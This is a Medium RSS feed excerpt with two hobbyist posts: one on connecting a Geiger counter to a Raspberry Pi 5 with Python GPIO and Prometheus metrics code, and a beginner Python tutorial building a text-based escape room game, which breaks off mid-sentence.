<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Birb on Medium]]></title>
        <description><![CDATA[Stories by Birb on Medium]]></description>
        <link>https://medium.com/@0xbirb?source=rss-f61ffb42a618------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*ZOIS6N77F3qpKqSfOFnEgw.png</url>
            <title>Stories by Birb on Medium</title>
            <link>https://medium.com/@0xbirb?source=rss-f61ffb42a618------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 07:39:43 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@0xbirb/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[RPi 5 + Geiger Counter = Fun!]]></title>
            <link>https://medium.com/@0xbirb/rpi-5-geiger-counter-fun-dbce8988f4bd?source=rss-f61ffb42a618------2</link>
            <guid isPermaLink="false">https://medium.com/p/dbce8988f4bd</guid>
            <category><![CDATA[geiger-counter-kits]]></category>
            <category><![CDATA[physics]]></category>
            <category><![CDATA[diy]]></category>
            <category><![CDATA[science]]></category>
            <category><![CDATA[python]]></category>
            <dc:creator><![CDATA[Birb]]></dc:creator>
            <pubDate>Sun, 04 Aug 2024 20:49:46 GMT</pubDate>
            <atom:updated>2024-11-23T10:49:19.981Z</atom:updated>
            <content:encoded><![CDATA[<h4>…and why some people call me crazy.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nJxPfr4_bivYLEsOcJ46KA.png" /><figcaption>Close-up of the RadiationD-v1.1(CAJOE) board.</figcaption></figure><h3>“You bought a what?!”</h3><p>My mothers reaction was going to be the typical response from the people I told about my latest toy, a “RadiationD-v1.1(CAJOE)” Geiger counter. It all started the weekend <a href="https://www.bloomberg.com/news/articles/2024-06-15/danes-asked-to-keep-supplies-iodine-pills-to-prepare-for-crises">all Danes were urged to stock up on supplies and iodine pills</a> in case of emergencies. “Iodine pills” I thought to myself while ordering the recommended items from various web shops. “If I’m going to stock up on iodine pills in case of emergency, then I might as well go all in and get that Geiger counter.”</p><p>And so I did. This is the story about how I hooked up said Geiger counter to my Raspberry-Pi 5 and had it feed “Counts Per Minute” data to a dashboard.</p><p>The POC of the Python project is part of the content of this post. If you are only interested in the code please clone the GitHub repository: <a href="https://github.com/HeckerBirb/rpi-radiationd-v1.1">https://github.com/HeckerBirb/rpi-radiationd-v1.1</a>.</p><h3>Cables, pins and one wrong label</h3><p>As can be seen on the pictures I chose the absolute best color combination of cables. Clearly (and with a dash of sarcasm) the white cable is connected to the GND connector, the light-gray cable is connected to 5V and the purple cable is connected to VIN.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*h_hnnLwr20jvfAbg4UWuAA.png" /><figcaption>Cables connected on the RadiationD board.</figcaption></figure><p>Now, please do note that the VIN connector seems to be a typo. This (VIN) is typically an input connector, but it is being used as an output. If anybody knows if this is an error or not, please add a comment. :)</p><p>The cables are then connected to the Raspberry-Pi 5 board as shown below. The red and the black cables are for a display that is also connected to the RPi — these can be ignored.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*VzCI5_-UCHIamXR7JzA-mA.png" /><figcaption>Raspberry-Pi 5 connection configuration.</figcaption></figure><p>The white cable (between red and black) is connected to 5V, gray (bottom) to GND and purple to pin 7 (GPIO 4).</p><p>A pinout of the Raspberry-Pi 5 board can be found further down in the next chapter.</p><h3>Breaking down the POC</h3><p>As mentioned in the README file in the GitHub project, the first steps is to prepare the Python environment. First the old GPIO library has to be removed, as this is no longer relevant for RPi 5:</p><ul><li>sudo apt remove python3-rpi.gpio</li></ul><p>Next we install the two relevant libraries for this POC:</p><ul><li>python3 -m pip install rpi-lgpio flask</li></ul><p>The two important external modules we will be using are imported first:</p><pre>import time<br>import RPi.GPIO as GPIO</pre><p>We define the variables we need to use, in this case in global space:</p><pre># Counts Per Minute. Anything below ~270 (give or take) <br># is considered fine [citation needed].<br>cpm = (-1)<br>counts = 0<br><br>current_time = int(time.time())<br>avg_over = 10  # seconds - pick one of 5, 10, 15, 30, 60</pre><p>The main part of the code are the following three lines:</p><pre>GPIO.setmode(GPIO.BOARD)<br>GPIO.setup(7, GPIO.IN)<br>GPIO.add_event_detect(7, GPIO.FALLING, callback=on_event)</pre><p>Two options are available for the GPIO mode: GPIO.BOARD and GPIO.BMC. The difference boils down to how you prefer to reference the GPIO pin numbers. I chose BOARD because I had already chosen pin number 7, but I could just as well have chosen BCM and set the pin to 4. Refer to the below diagram of the Raspberry-Pi 5 pinout for an overview.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*wMwC2vugaO6NP0-V.jpg" /><figcaption>Raspberry-Pi 5 pinout. Borrowed from <a href="https://www.hackatronic.com/raspberry-pi-5-pinout-specifications-pricing-a-complete-guide/">hackatronic.com</a>.</figcaption></figure><p>The BOARD pin numbers are shown in the gray column in the middle. By communicating with BOARD pin 7 we can see that this is actually GPIO 4, which would be the BCM number. For simplicity though I chose to stick with BOARD.</p><p>Finally we assign a callback function that will be called every time the Geiger counter triggers an event. The on_event function here is a simple counter that will update the counts-per-minute variable.</p><pre>def on_event(channel):<br>    global counts, cpm, current_time<br>    counts = counts + 1<br><br>    if current_time + avg_over &lt; int(time.time()):<br>        current_time = int(time.time())<br>        cpm = counts * (60 // avg_over)<br>        counts = 0</pre><p>That’s essentially it. If we replace the on_event function body with a simple print, we will see a new line in the output every time the Geiger ticks.</p><pre>def on_event(channel):<br>    print(&#39;Tick!&#39;)</pre><p>The full POC can be found here: <a href="https://github.com/HeckerBirb/rpi-radiationd-v1.1">https://github.com/HeckerBirb/rpi-radiationd-v1.1</a>.</p><h3>CPM Thresholds — what is safe?</h3><p>It’s not trivial to give exact numbers on what X counts per minute means as it depends on the instruments <a href="https://en.wikipedia.org/wiki/Counts_per_minute#Conversion_to_dose_rate">[Wikipedia]</a>. Some sources suggest 5–60 CPMs are considered normal <a href="https://www.nrc.gov/reading-rm/basic-ref/students/science-101/what-is-a-geiger-counter.html">[U.S.NRC]</a> while others suggest that anything above 100 is considered a warning level <a href="https://soeks-usa.com/blogs/radiation/blog-what-is-cpm-in-radiation">[SOEKS]</a>. Another source <a href="https://ecotestgroup.com/press/blog/how-to-use-a-geiger-counter/">[ECOTEST]</a> states that 7–30 CPM is considered normal and anything below 150 is considered safe.</p><p>During my own testing I measured a consistent 20–30 CPM which, to my knowledge, is “normal”. I don’t know of any events around me that would impact the measurements at least.</p><p>In my configuration I have assumed the following thresholds:</p><ul><li><strong>Safe levels:</strong> 0–100 CPM</li><li><strong>Worrisome levels:</strong> 101–150 CPM</li><li><strong>Dangerous levels:</strong> 151+ CPM</li></ul><p>I have no scientific basis for these values other than the sources above, so I have a mental note of trying to figure out what is up, if the CPM levels reach above, say, 120 CPM.</p><h3>Further development</h3><p>In my original setup I had configured this as a dashboard in <a href="https://grafana.com/">Grafana</a> scraping the CPM with <a href="https://prometheus.io/">Prometheus</a>. This is done easily by adding a small web server in the Python script that exposes the latest CPM metric. In the POC the following is all that is needed (besides the Flask configuration):</p><pre>@app.route(&quot;/metrics&quot;)<br>def cpm_metric():<br>    return f&#39;&#39;&#39;\<br># HELP radiationd_counts_per_min Ambient temperature in celcius<br># TYPE radiationd_counts_per_min gauge<br>radiationd_counts_per_min {cpm}&#39;&#39;&#39;</pre><p>This allows Grafana to display the data from the radiationd_counts_per_min metric, which is the current CPM measured from the RadiationD device, extrapolated based on the readings from — in case of the POC — the past 10 seconds. Setting up Grafana and Prometheus like this is beyond the scope of this article, however there are countless articles and guides on how to do this already and there is no special configuration needed here.</p><p>The project could also be extended to show the CPM reading on a small screen on top of the RadiationD Geiger counter, so that when the device is used as a hand-held, battery driven device, the CPM would be shown on a display.</p><h3>Thank you</h3><p>Thank you for reading along. If you liked this article, please consider liking it or leaving a comment. If you wish to learn more about Python development to better follow along in this guide, please consider reading my teaching series on Pyton.</p><p><a href="https://localnest.xyz/list/0b2e055eafe4">Birb&#39;s Python 3 beginner course</a></p><p>Until next time!</p><p>— Birb</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dbce8988f4bd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Python Essentials, Part 4: Hands-on programming and how to improve it]]></title>
            <link>https://medium.com/@0xbirb/python-essentials-part-4-hands-on-programming-and-how-to-improve-it-18d39c7a5d34?source=rss-f61ffb42a618------2</link>
            <guid isPermaLink="false">https://medium.com/p/18d39c7a5d34</guid>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[beginner]]></category>
            <category><![CDATA[training]]></category>
            <category><![CDATA[technology]]></category>
            <dc:creator><![CDATA[Birb]]></dc:creator>
            <pubDate>Sun, 28 Jul 2024 13:11:17 GMT</pubDate>
            <atom:updated>2024-07-28T13:11:17.010Z</atom:updated>
            <cc:license>https://creativecommons.org/licenses/by-nc/4.0/</cc:license>
            <content:encoded><![CDATA[<h4>Explore, implement, refactor, repeat.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*9fOaNJyYKtjYKUcqV157gw.png" /></figure><h3>Previously</h3><p>In the last article we went through simple methods for how to install and manage Python packages. We also talked about the relationship between a package, modules, classes and functions and explored various methods on how to import these in our code.</p><h3>Time to get serious</h3><p>It is about time we started writing some actual, meaningful code. For the purpose of demonstrating everything we have learned so far, we will plan and design a piece of software, then we will start little by little and add more content to the code as we progress. Along the way we will do so-called <em>refactoring</em> of the code. This means that we will identify code in our script that could either be re-written as a function or in other ways “made better”. The goal of refactoring is <em>not</em> to make the code look as smart as possible or as complex as possible in order to “achieve job security”. The purpose of refactoring is to restore sanity and to make the code more readable, more maintainable and more testable.</p><p>Let’s program a game!</p><h4>The Escape Room game</h4><p>The remainder of this teaching series of posts will revolve around a text-based Escape Room type game. Let’s first design our game.</p><p>In this game the player wakes up in a room and must find find the clues needed to unlock the door and escape. The door has a keypad by the lock where four digits can be entered. The player must find all four digits by solving puzzles and interacting with the objects that they find in the room. For simplicity sake we will give two digits at a time. After finishing the code once and for all I urge you to extend your code and add two additional puzzles so the player must solve at least four puzzles to get the digits for the pin code.</p><p>As this is a text-based game without any visual elements we need to define some basic commands that can be entered. It must be simple yet efficient, so we don’t have to implement or use a natural language processor to determine the desired action.</p><p>Let’s suppose that a key needs to be found underneath a squeaking floorboard. The key opens a locked cabinet. Inside the cabinet is a note with the first two digits written on it. For this to be possible we need to implement some actions for the player.</p><p>For now the player needs to be able to perform the following actions:</p><ul><li>look around: this should present the player with all objects that can be interacted with at this point in the game.</li><li>inspect &lt;object&gt;: get more information about the particular object.</li><li>take &lt;object&gt;: store the object in their inventory for later use.</li><li>use &lt;object&gt; [on &lt;object&gt;]: use the object, optionally on another item, e.g., use key on door or use match on candle.</li><li>open &lt;object&gt;: opens the object revealing what is inside, if anything.</li><li>quit: quits the game.</li></ul><p>To get started let’s focus on the simplest thing possible: looking around.</p><h4>The first bit of code</h4><p>In the following code examples I will rarely add any type of comments. I will urge you to add comments as needed, so you remember what the functions that you write do, also in a week or three from now. I will try to make the code as readable and self-explanatory as possible rather than showing off my “golf-coding skills”. I urge you to (always) do the same, when programming. After all, we’re not here to show off, we’re here to solve problems and learn good habits. 😊</p><p>We start by setting the scene and providing a simple way to get the action from the user.</p><pre>GREETING = &#39;&#39;&#39;<br>Good morning, sleepy head. You likely don&#39;t remember what happened, but<br>I can tell you this much: You are stuck inside this room. Can you escape?<br>Try looking around, and remember if you get stuck, you can always call for <br>help by typing &quot;help&quot;.<br><br>Good luck!<br>&#39;&#39;&#39;<br><br>print(GREETING)<br>action = input(&#39;What do you want to do?\n&gt; &#39;)</pre><p>The three ticks &#39;&#39;&#39; denote the start and the end of a <em>multi-line string</em>. These are convenient when we want to write and store large blocks of text. Please note that the first “new-line” after greeting = &#39;&#39;&#39; will also be part of the string, but this is fine for our use of it. It effectively just adds an empty line in between us running python game.py and the game beginning. That’s OK.</p><p>The input function does two things: first it prints the parameter we give it to the terminal, and then it waits for the user to type a response. When the user hits the Enter key, whatever the user typed is stored in our action variable. The \n at the end of the string means “new-line”. This means that the user gets to input their command on the next line, following the &gt; .</p><p>Let’s run the code and see what happens:</p><pre>$ python game.py<br><br>Good morning, sleepy head. You likely don&#39;t remember what happened, but    <br>I can tell you this much: You are stuck inside this room. Can you escape?  <br>Try looking around, and remember if you get stuck, you can always call for <br>help by typing &quot;help&quot;.<br><br>Good luck!<br><br>What do you want to do?<br>&gt; look around</pre><p>and then it exits. This is probably not a surprise because nothing else happens in our code yet. We can use a loop to continuously ask the user for input, so long as the input is not quit.</p><pre>print(GREETING)<br>action = &#39;&#39;<br><br>while action != &#39;quit&#39;:<br>    action = input(&#39;What do you want to do?\n&gt; &#39;).lower().strip()</pre><p>By declaring action as an empty string we can reference the variable in our while loop and check whether or not it is &#39;quit&#39;. We add the .lower().strip() at the end of the input call to <em>chain</em> function calls onto each other. What happens is that input returns a string, and the string class has a lower function which makes the string all lower-case, then it returns that as a string. We can then call strip on that same lower-case string we just got back to strip the string of any leading or trailing spaces. Why? Because if the user types in &#39;quit &#39; (extra space at the end) it won’t match &#39;quit&#39;. By stripping the extra space we have a match.</p><p>We extend the code to support “look around” and “help”.</p><pre>while action != &#39;quit&#39;:<br>    action = input(&#39;What do you want to do?\n&gt; &#39;).lower().strip()<br><br>    if action == &#39;look around&#39;:<br>        print(&#39;You see a locked cabinet, a cluttered desk, a painting and a door.&#39;)<br>    elif action == &#39;help&#39;:<br>        print(&#39;Here are the things you can do:&#39;)<br>        print(&#39;look around, inspect, take, use, open, quit&#39;)<br>    else:<br>        print(&#39;You cannot do that.&#39;)</pre><p>Now, what happens if we were to unlock the locked cabinet? Then we would need to somehow update the look around action to instead say “an unlock cabinet” that the player can use inspect on. But we can’t do that, the way the code currently is.</p><p>What if the things in the room were objects, and the we had a list of all of the objects in the room? Then we could, for each object in the list, tell the player what they saw. This sounds like a bit of code, so let’s start by <em>refactoring</em> this code and replace the print statements inside the conditional statements with functions.</p><pre>def look_around():<br>    print(&#39;You see a locked cabinet, a cluttered desk, a painting and a door.&#39;)<br><br>def get_help():<br>    print(&#39;Here are the things you can do:&#39;)<br>    print(&#39;look around, inspect, take, use, open, quit&#39;)<br><br><br>while action != &#39;quit&#39;:<br>    action = input(&#39;What do you want to do?\n&gt; &#39;).lower().strip()<br><br>    if action == &#39;look around&#39;:<br>        look_around()<br>    elif action == &#39;help&#39;:<br>        get_help()<br>    else:<br>        print(&#39;You cannot do that.&#39;)</pre><p>Now we can create a Room class which contains a list of objects inside the room. The Room class should have some way to let us get a certain object so we can interact with it. For example, we should be able to “get the cabinet to unlock it” somehow. We could do something like this, probably:</p><pre>class Room():<br>    contents = [<br>            &#39;a locked cabinet&#39;,<br>            &#39;a cluttered desk&#39;,<br>            &#39;a painting&#39;,<br>            &#39;a door&#39;<br>        ]<br>    <br>    def get_object(self, str_reference):<br>        for obj in self.contents:<br>            if str_reference == obj:<br>                return obj</pre><p>This looks a bit funny — if the thing we are looking for is the same as the object, return the object. But since we most likely want to have class references of each item, e.g. Cabinet and Door, then this lets us find those objects given a string reference. Let’s add classes for the four objects in the room and one for a Key to unlock the cabinet. Here we have the cabinet and the key:</p><pre>class Cabinet():<br>    locked = True<br>    key_hole = &#39;2311&#39;<br><br>    def unlock(self, key):<br>        if key.pin_stack == self.key_hole:<br>            self.locked = False<br><br>    def __str__(self):<br>        if self.locked:<br>            return &#39;a locked cabinet&#39;<br>        else:<br>            return &#39;an unlocked cabinet&#39;<br><br><br>class Key():<br>    pin_stack = None<br><br>    def __init__(self, pin_stack):<br>        self.pin_stack  = pin_stack<br><br>    def __str__(self):<br>        return &#39;a key&#39;</pre><p>The idea is that a key has a grooves and peaks which are inserted into a lock and then if they fit, they will allow the key to be turned. The lock has pins of different lengths that go up into the lock, called a pin stack. We represent this relationship with numbers, e.g., 3 meaning that one pin must be at position 3 to open. Just think of it as a pin code if this is getting confusing. We can create a new key Key(&#39;2311&#39;) which will be able to unlock the cabinet.</p><p>Also notice that we overloaded the __str__ functions. Our Room object can then contain a Cabinet object and then when we print the object, “for each object in the room”, &#39;a locked cabinet&#39; will be printed, if it is still locked. Let’s implement the other classes.</p><p>Desk and Painting are still rather empty. We haven’t decided yet what to do with those. Maybe we could hide a UV flashlight on the desk and have a hidden message printed behind the painting, which gets visible when we use uv-light on painting?</p><pre>class Desk():<br>    def __str__(self):<br>        return &#39;a cluttered desk&#39;<br><br><br>class Painting():<br>    def __str__(self):<br>        return &#39;a painting&#39;</pre><p>The Door we already decided should have a pincode, so let’s add that:</p><pre>class Door():<br>    locked = True<br>    pin = &#39;4209&#39;<br><br>    def unlock(self, code):<br>        if code == self.pin:<br>            self.locked = False<br>        return not self.locked  # True if unlocked, False otherwise<br>    <br>    def __str__(self):<br>        return &#39;a door&#39;</pre><p>We’re almost at a 100 lines of code already! Not bad.</p><p>So coming back to our look_around function, this should now print what is <em>actually</em> inside the room, so we need to create a new Room() somewhere and pass this Room object along as a parameter to the look_around function. For now let’s create the room above the while loop and just reference it inside.</p><p>Remember what we talked about regarding the order in which code is executed matters? That Python cannot “look ahead” and guess what we mean? For this reason, we need to put the Room class at the end of the other classes, so that we can create new objects of the items in the room, inside the Room class:</p><pre>class Room():<br>    contents = [<br>            Cabinet(),<br>            Desk(),<br>            Painting(),<br>            Door()<br>        ]<br>    <br>    def get_object(self, str_reference):<br>        for obj in self.contents:<br>            if str_reference == obj:<br>                return obj<br><br><br>def look_around(room):<br>    contents = &#39;, &#39;.join([str(obj) for obj in room.contents])<br>    print(f&#39;You see {contents}&#39;)<br><br>def get_help():<br>    print(&#39;Here are the things you can do:&#39;)<br>    print(&#39;look around, inspect, take, use, open, quit&#39;)<br><br><br>room = Room()<br><br>while action != &#39;quit&#39;:<br>    action = input(&#39;What do you want to do?\n&gt; &#39;).lower().strip()<br><br>    if action == &#39;look around&#39;:<br>        look_around(room)<br>    elif action == &#39;help&#39;:<br>        get_help()<br>    else:<br>        print(&#39;You cannot do that.&#39;)</pre><p>Two other things to note as well. First of, we created a new Room object, and then pass it along to the look_around function.</p><pre># [...]<br>room = Room()<br><br>while action != &#39;quit&#39;:<br>    action = input(&#39;What do you want to do?\n&gt; &#39;).lower().strip()<br><br>    if action == &#39;look around&#39;:<br>        look_around(room)<br># [...]</pre><p>Secondly, we updated the look_around function:</p><pre>def look_around(room):<br>    contents = &#39;, &#39;.join([str(obj) for obj in room.contents])<br>    print(f&#39;You see {contents}&#39;)</pre><p>That’s a lot of complicated code! Let’s break it down into smaller bits.</p><pre>&#39;, &#39;.join( ... )</pre><p>This takes each element in the list that we give join as a parameter, and then join them together with &#39;, &#39;. In other words it will take the first element, then add , then take the second element and add , after that, and then the third… and so forth. For example &#39;, &#39;.join([&#39;a&#39;, &#39;b&#39;, &#39;c&#39;]) produces &#39;a, b, c&#39;.</p><pre>[str(obj) for obj in room.contents]</pre><p>This is so-called <em>list comprehension.</em> It is a special way to produce a list, given some logic. We don’t declare its content element by element, we tell Python what it should produce, and then we get a result. Let’s suppose we have a list of numbers from 1–4. We can then tell Python that we want a “list of <em>something</em> for each element” in that list. Say we wanted to have a list of all the values multiplied by 2. We could then write:</p><pre>&gt;&gt;&gt; nums = [1, 2, 3, 4]       <br>&gt;&gt;&gt; [x * 2 for x in nums]<br>[2, 4, 6, 8]</pre><p>Coming back to our mysterious [str(obj) for obj in room.contents] it means that we would like to have the string representation of the obj for each obj’s in the list room.contents.</p><pre>[&#39;a locked cabinet&#39;, &#39;a cluttered desk&#39;, &#39;a painting&#39;, &#39;a door&#39;]</pre><p>which we then join with a comma. The full output of calling look_around(room) is now:</p><pre>You see a locked cabinet, a cluttered desk, a painting, a door</pre><p>The full code should look something looks like this:</p><pre>GREETING = &#39;&#39;&#39;<br>Good morning, sleepy head. You likely don&#39;t remember what happened, but<br>I can tell you this much: You are stuck inside this room. Can you escape?<br>Try looking around, and remember if you get stuck, you can always call for <br>help by typing &quot;help&quot;.<br><br>Good luck!<br>&#39;&#39;&#39;<br><br>print(GREETING)<br>action = &#39;&#39;<br><br>class Cabinet():<br>    locked = True<br>    key_hole = &#39;2311&#39;<br><br>    def unlock(self, key):<br>        if key.pin_stack == self.key_hole:<br>            self.locked = False<br><br>    def __str__(self):<br>        if self.locked:<br>            return &#39;a locked cabinet&#39;<br>        else:<br>            return &#39;an unlocked cabinet&#39;<br><br><br>class Key():<br>    pin_stack = None<br><br>    def __init__(self, pin_stack):<br>        self.pin_stack  = pin_stack<br><br>    def __str__(self):<br>        return &#39;a key&#39;<br><br><br>class Desk():<br>    def __str__(self):<br>        return &#39;a cluttered desk&#39;<br><br><br>class Painting():<br>    def __str__(self):<br>        return &#39;a painting&#39;<br><br><br>class Door():<br>    locked = True<br>    pin = &#39;4209&#39;<br><br>    def unlock(self, code):<br>        if code == self.pin:<br>            self.locked = False<br>        return not self.locked  # True if unlocked, False otherwise<br>    <br>    def __str__(self):<br>        return &#39;a door&#39;<br><br><br>class Room():<br>    contents = [<br>            Cabinet(),<br>            Desk(),<br>            Painting(),<br>            Door()<br>        ]<br>    <br>    def get_object(self, str_reference):<br>        for obj in self.contents:<br>            if str_reference == obj:<br>                return obj<br><br><br>def look_around(room):<br>    contents = &#39;, &#39;.join([str(obj) for obj in room.contents])<br>    print(f&#39;You see {contents}&#39;)<br><br>def get_help():<br>    print(&#39;Here are the things you can do:&#39;)<br>    print(&#39;look around, inspect, take, use, open, quit&#39;)<br><br><br>room = Room()<br><br>while action != &#39;quit&#39;:<br>    action = input(&#39;What do you want to do?\n&gt; &#39;).lower().strip()<br><br>    if action == &#39;look around&#39;:<br>        look_around(room)<br>    elif action == &#39;help&#39;:<br>        get_help()<br>    else:<br>        print(&#39;You cannot do that.&#39;)</pre><p>At this point we can’t really do much in the game, however we have made good progress. We now have a Room which keeps track of the game state, we have a general concept of classes that we can interact with and we have the basic game look implemented.</p><p>What we still need to implement is some kind of state for the items the player picks up with the take action — this could be inspect pockets for example where Pocket is a class like Room that keeps track of the state of the player inventory. We also need to implement the remaining actions so that if a player tries to inspect key or take door the appropriate response is given to the player, and the appropriate game states are updated. We don’t want the player to be able to “take the door and put in their pockets”, but it might be a good idea to assume that the player will at least try. We should handle those cases too.</p><h4>Implementing more actions</h4><p>We can use inheritance to our advantage now. If we implement a <em>super class</em> — a class that other classes inherit — then we can define the default behavior for all actions in this class, and then overload each relevant action in the <em>sub class</em>.</p><pre>class InteractableObject():<br>    def inspect(self):<br>        print(f&#39;Just {self.__str__()}.&#39;)<br>    <br>    def take(self):<br>        print(f&quot;You can&#39;t take {self.__str__()}.&quot;)<br><br>    def use(self):<br>        print(f&quot;You can&#39;t use {self.__str__()}.&quot;)<br>    <br>    def open(self):<br>        print(f&quot;You can&#39;t open {self.__str__()}.&quot;)<br>    <br>    def __str__(self):<br>        return &#39;an unknown object&#39;</pre><p>Now we can extend (or “inherit from”) this class in all other object type classes, and whenever we try to take an object that is not intended to be taken, i.e. an object of which class does not overload the take function, we will get a friendly message saying so. Or do we. We haven’t implemented the functionality of actually <em>taking something</em> yet. If we try to take door at this point, we are being told You cannot do that. because the else clause is being hit in our conditional statement within the loop:</p><pre>while action != &#39;quit&#39;:<br>    action = input(&#39;What do you want to do?\n&gt; &#39;).lower().strip()<br><br>    if action == &#39;look around&#39;:<br>        look_around(room)<br>    elif action == &#39;help&#39;:<br>        get_help()<br>    else:<br>        print(&#39;You cannot do that.&#39;)</pre><p>We need to do four things:</p><ol><li>Make all room objects (Cabinet, Door, etc.) extend InteractableObject if you haven’t already.</li><li>Create a function that can handle &lt;action&gt; &lt;object&gt;, e.g., take key or inspect cabinet (maybe even inspect locked cabinet). This involves updating the get_object function in Room.</li><li>Update the loop to call this new function, if the first word of action is “take”.</li><li>Implement “pockets”.</li></ol><p>While implementing these changes I decided that some adjustments and improvements could be beneficial here and there. The good thing about the style of program that we are building is that it’s relatively simple, there’s just a lot of it. So even if we need to make a lot of changes and add a lot of extra code, the code will mostly be smaller components that fit well together. Let’s go through the list, assuming we already completed step 1.</p><p>A function that is able to handle an arbitrary action can be done, and would likely be the right way to implement the code “in production” (because that would allow “an action” to be a modular thing enabling us to add more actions easily, without changing the overall code). However, I want to keep things <em>relatively</em> simple for now. I created a function to handle take like this:</p><pre>def handle_take(action, context, pockets):<br>    action_components = action.split()<br>    obj_to_take = action_components[-1]  # e.g., &quot;cabinet&quot;<br>    obj = context.get_object(obj_to_take)<br><br>    if obj is None:<br>        print(f&quot;There is no {obj_to_take} here.&quot;)<br>        return<br>    else:<br>        obj_description = &#39; &#39;.join(f&#39;{obj}&#39;.split()[1:])<br>        context.remove_object(obj)<br>        pockets.add_object(obj)<br>        print(f&quot;You took the {obj_description} put it in your pockets.&quot;)</pre><p>Take a moment or two to read the code.</p><p>First thing we need to do is to translate an object description such as “locked cabinet” into the simplified name. We then call the get_object function on <em>a context</em> object context. It didn’t start like this — there is no magic or superior omnipotent knowledge at play here — it used to ask the room for the object, but after messing around with the code for a while I realized that the cabinet needs to contain a note. And the desk needs to contain a UV light. We shouldn’t store these items in the room, so we somehow needed to provide a reference for which <em>context</em> we are searching through. The context could be room, too. But it could also be cabinet. For this to make more sense, we need to introduce a second parent class that was created — we’ll get to that in a moment. For now, let’s move on.</p><p>So, at this point we have attempted to get the object based on the object description. If the object exists, the object itself is returned and stored in obj. If the object does not exist the “nothingness value” None is returned. If that’s the case, we tell the player that there is no such object here. If it does exist, we remove it from the context in which it exists and add it to our pockets.</p><p>At this point we have three different “containers” that can contain objects inside them: room, cabinet and pockets. And we likely need a fourth one for our desk. Since all of these objects need to have the same functionality — get an item, add an item, remove and item — we will create a super class that does this, and let the others extend its functionality.</p><pre>class HasContent():<br>    contents = []<br><br>    def get_object(self, str_reference):<br>        for obj in self.contents:<br>            if str_reference in str(obj):<br>                return obj<br>    <br>    def add_object(self, obj):<br>        self.contents.append(obj)<br>    <br>    def remove_object(self, obj):<br>        if obj in self.contents:<br>            self.contents.remove(obj)<br><br>        return obj</pre><p>We can then add the HasContent functionality to our Room and Cabinet classes by extended the new super class.</p><pre>class Cabinet(InteractableObject, HasContent):<br>    contents = [Note(&#39;42&#39;)]<br><br>    locked = True<br>    key_hole = &#39;2311&#39;<br><br>    def unlock(self, key):<br>        if key.pin_stack == self.key_hole:<br>            self.locked = False<br><br>    def __str__(self):<br>        if self.locked:<br>            return &#39;a locked cabinet&#39;<br>        else:<br>            return &#39;an unlocked cabinet&#39;<br><br># [... other classes ommitted ...]<br><br>class Room(HasContent):<br>    contents = [<br>            Cabinet(),<br>            Desk(),<br>            Painting(),<br>            Door(),<br>            Pockets()<br>        ]</pre><p>This makes our Room surprisingly simple. It also allows us to implement a Pockets class which can both be interacted with (adding inspect pockets) and contain objects:</p><pre>class Pockets(InteractableObject, HasContent):<br>    contents = [<br>        # Initially empty<br>    ]<br><br>    def inspect(self):<br>        in_pockets = &#39;, &#39;.join([str(obj) for obj in self.contents])<br>        <br>        if len(self.contents) == 0:<br>            in_pockets = &#39;nothing&#39;<br><br>        print(f&#39;In your pockets are: {in_pockets}.&#39;)<br>    <br>    def __str__(self):<br>        return &#39;your pockets&#39;</pre><p>Lastly we need to add the new take functionality to the game loop.</p><pre>while action != &#39;quit&#39;:<br>    action = input(&#39;What do you want to do?\n&gt; &#39;).lower().strip()<br><br>    if action == &#39;look around&#39;:<br>        look_around(room)<br><br>    elif action.startswith(&#39;take&#39;):<br>        handle_take(action, latest_context, pockets)<br># [...]</pre><p>But wait, what’s this latest_context thing all of a sudden? I decided that the way to progress in the game was to follow this loop:</p><ol><li>Look around and get a list of objects to inspect.</li><li>Inspect a particular object. This may reveal a note inside a cabinet or something else entirely.</li><li>Be able to take an item they just found, for example the note inside the cabinet.</li><li>Repeat steps 1–3 until the full pin-code is found.</li><li>Unlock the door and win the game.</li></ol><p>In order to prevent cheating, i.e. in order to prevent the player from running take note before looking inside the cabinet, we need a way to separate which context the player is allowed to take things from and, technically speaking, which context to search for an item in.</p><p>If inspecting an object that extends HasContent is as simple as using the isinstance built-in function. This allows us to update a variable latest_context with a reference to the latest object which HasContent:</p><pre>if isinstance(found_item, HasContent):<br>    latest_context = found_item</pre><p>This has been added to our slightly modified inspect game logic:</p><pre>    elif action.startswith(&#39;inspect&#39;):<br>        obj_to_inspect = action.split(&#39; &#39;)[-1]<br><br>        found_item = latest_context.get_object(obj_to_inspect)<br><br>        if found_item is None:<br>            # Always be able to inspect items in the room<br>            found_item = room.get_object(obj_to_inspect)<br><br>        if found_item is None:<br>            print(&#39;This item does not exist in here.&#39;)<br>            continue<br><br>        if isinstance(found_item, HasContent):<br>            latest_context = found_item<br><br>        found_item.inspect()</pre><p>In this updated code we will try to get an item found_item in the last context that HasContent. By default this is set to our room object. If we do not find an item in here, for example we try to inspect painting while “inside” the cabinet, we will try to find the object in room. If this also fails, we say that the item doesn’t exist. It might be somewhere else, but at least it’s neither in the “latest context” nor in the room. If we tried to inspect a note as the first action inside the room it would also fail because latest_context in that case would be room.</p><p>If this feels magical and you wonder how on earth I even came up with this, and you are convinced you would never be able to figure this out yourself “just like that”, please know that it took me <em>a lot</em> of debugging and testing and messing around to get 